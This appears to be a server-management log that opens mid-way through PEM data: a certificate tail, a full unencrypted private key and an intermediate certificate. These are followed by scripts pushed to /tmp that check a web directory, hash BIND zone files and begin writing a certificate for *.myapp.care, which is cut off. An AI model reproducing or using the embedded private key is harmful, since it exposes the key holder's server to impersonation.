A3JaehAAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZrdpgXx
AAAEAwBHMEUCIQD1HopEyQEa6dXPJM+X1IqpHnQCNIO6skPnH3lG2M7ajAIgRl0R
I8oXR8ETGISC3vX4mo6mp7kDqD1xv/jCoHmLpnkwDQYJKoZIhvcNAQELBQADggEB
ADYvD7Z5zh+g6ZmzNxu1uON7ihA1iGPBChtXWYlP7JhTo5Wdig3kDcrpFq/sxE9B
OaSLj7IwO/xdwgLzUa88wimQCxHXayp2srfbt7wumn3H7DL5YQWpL1im5ENoU/hD
lWn5XZZG/m+yArJlOclMeUBLj+9hV3BaBOWH1CSewXeTv89wAL1NIHNWg++Godr5
8OAZ+IOd5Ww5si2QoMg3KVwNoyBovI64ViU1rgWPVhgV+fThAPEsGbs421UzqqM7
crI5rdpHxOMUacbO473ckfkTWyOSHCOMoPUBMnzP6vsLGFsSSkMhd+TWk+jfvMmY
4jfY76DuOpqCqAAd7B+xgm0=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDxj1GJefBukAhw
hor5NKRGA6oXJpfTvF+JCAjwI3S/tPpEXKysTa+/NodzavsBzL2gp5uh5h8/48Xt
FWknYVFeovzua8S0Uc7DKMKiJ9X/rvhfXe1rnSiVyrNjnTm9BJocAJ43BAU07Uys
MoebHj1uD11p3RryJOqFkZsxHu9p9RQXvT9BvPQ4+aW/OY5hANgAwUBehLJHOjOk
w+z8lFBAz3UJQF1I4eclgHBXTeQHUUpfPh+fhGnYWSPdtq9w9bQfUxnxX7mnTXzK
oBkPnx6oh6925iWNAbO2UI2MjRhtO9jqBDlMgMzCs8tTIpU/IhduAyD0l9qCB49P
VmIlEyLVAgMBAAECggEAe1yi2l+QvxYFiVncjUop/quOaMZH0VUpQPT+g4zH6cOF
7/WYJWKDN1aks/fVemTSDsKqA3NfUCSFhv9hNUBI6ti37RbSXPhObHJbe652Zl43
75QrVMLs4BqlpGC+BN7dySEzq4r9EbuCZYpkoH5ABv4HybGmOjVKI65poBtZTzVg
6sQ6u/JFZ+U8JiVphxk+smvO0oZ7SGd7Y5riRTybnsGx6r6VrruZsJZLrKNN3T1T
9RLc8+s6sUp4zTRxIlpsWLffEfW9Yaty1CiUZlbnaHImBjugxWM8hCZ5dWm0aYUH
bZEABwzg8hb7p2gnQHFt3re1TbJldWMfiVa7jnWkYQKBgQD7yVy4cEZM0TJ4IcwU
/vLSZddu0y8JXbq3I/+9LuiceQ9/PD+/5MvNuGZVgAl1x2YXQhGPFG0ZBPckkAW+
fiAG968BKZkYgM55kChfdrfEhluqLoklRNI6vqCTqI6Ct04PcXIxo8hkEj4t/VMT
k3TKk1j5zpVWJgN9JUHGANvvKQKBgQD1miVIRaZXiNy1m+LLhTP8G5gUsuRpgPxT
OqG8t7Q/RRjbmZ0L1J85moF6MTPvlItbmp/i7F41Wsoa9toJNly+DsnE44zmnzY+
v0t41b2ReGqVtKicMkdt9TWRDlpH4bcbCqck1tAqlp9BymF84LthH166Lfl/cV/v
OIb0I+aHzQKBgQDWhCx3B1EdyW4SY9kYWk5Pa20sgsikVjLqLcWJTRnplkrZwF8g
ArKQxvaJCdkFe6lDT4reOCzrEAvwHrSGI7btuMBlYSeKdNN1RpjfHKpcyYv3ZkZ6
djQW0KrGoukn/TyIc8My/7OPbuuDCz1ohE0Q+pDn5FXfW+vFB6UOKVU4YQKBgBMg
niayxfGrRwUdztvq09GelImIJSHSWdRhjJcV94O17emsXP6+4GesEMlja5gNCY1o
zWru3adqGrNe5jwxb6ednzkmP6L2Y1MfstEGVG0v450lJLyFbeqyXimd5IoUmh4R
BlNoJ24prN2C1XTUS8OUndwCGJxESCRpUplQ8nNBAoGBANrRjSpn+BOWnTToky+8
CWYezSd7Oc0VBnLXVpmGrcKi7usnaAzWVMF5yfhUhQ3JyF3Bvep18M6LMa9vjbwy
fZTY3D3EjQe6+55IoTcDgaRV7AYvSxrhoji56kzWUKfgQIDO2+MKvss925L3kKWl
aoSzK4WQccF5EVEmzf6sPRoF
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-02 06:00:38: Establishing a connection
2025-12-02 06:00:39: Establishing a connection
2025-12-02 06:00:40:
PUT: /tmp/pkp419858
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-02 06:00:41:
chmod 755 /tmp/pkp419858; /tmp/pkp419858; rm /tmp/pkp419858
2025-12-02 06:00:41:
0
2025-12-02 22:56:13: Establishing a connection
2025-12-02 22:56:28: Establishing a connection
2025-12-02 22:56:28:
PUT: /tmp/pkp327590
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-02 22:56:29:
runuser -l bind -s /bin/bash -c '/tmp/pkp327590; rm /tmp/pkp327590'
2025-12-02 22:56:29:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-02 23:06:50: Establishing a connection
2025-12-02 23:06:51:
PUT: /tmp/pkp847787
#!/bin/bash
temp_file=$(mktemp)
TARGET=E3BE28443206AC49C3D55D1410B8DC85.crt
cat > $temp_file <<'endmsg'
a9:6b:a1:a5:89:0c:fe:54:70:0f:63:aa:30:d3:d7:fc
-----BEGIN CERTIFICATE-----
MIIGVzCCBL+gAwIBAgIRANUcRBuZQtgOQAZJA8NEgO8wDQYJKoZIhvcNAQELBQAw
ZjELMAkGA1UEBhMCQUUxGTAXBgNVBAoTEFNTTDJCVVkgRU1FQSBMTEMxPDA6BgNV
BAMTM1NTTDJCVVkgRU1FQSBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNl
cnZlciBDQTAeFw0yNTEyMDIwMDAwMDBaFw0yNzAxMDIyMzU5NTlaMBcxFTATBgNV
BAMMDCoubXlhcHAuY2FyZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANHZFH2s4GOd5CLuJ8zQPwh+JryCAdwFQxWN3vMYLQdTBtqmH6zqwAmbFWGI6KPb
WMc80S6JK/VC+8rjmyKiXxGetZwtFy30r8eF/6ibO28sOyxjM5KTrEg3eOZ8CXG7
BmCW7U55rndetexTSjpOBSuJDLvLsD/nzxF++QNcZSo9XLa0zdk1G4srpmgrE+U5
WUUiraWOTfrTbfcbWxZvrT8VG2R5ZJfllmz1M17IWBTDU5mCf42SJM0F5EF3IMIy
wS0CmeO0qc51aAbmpAMq7siiis79+OSLvRQo+C/lcYsqEOtRQQ2xaUZ/VhRrSgm0
G9UrRE1L/67HJ2JV0VFZWMkCAwEAAaOCAs0wggLJMB8GA1UdIwQYMBaAFIFZSMm6
5QBv37f/UMWr793m5K6QMB0GA1UdDgQWBBRhGj7em/h5PNICJDriI5iCAegOwzAO
BgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADATBgNVHSUEDDAKBggrBgEFBQcD
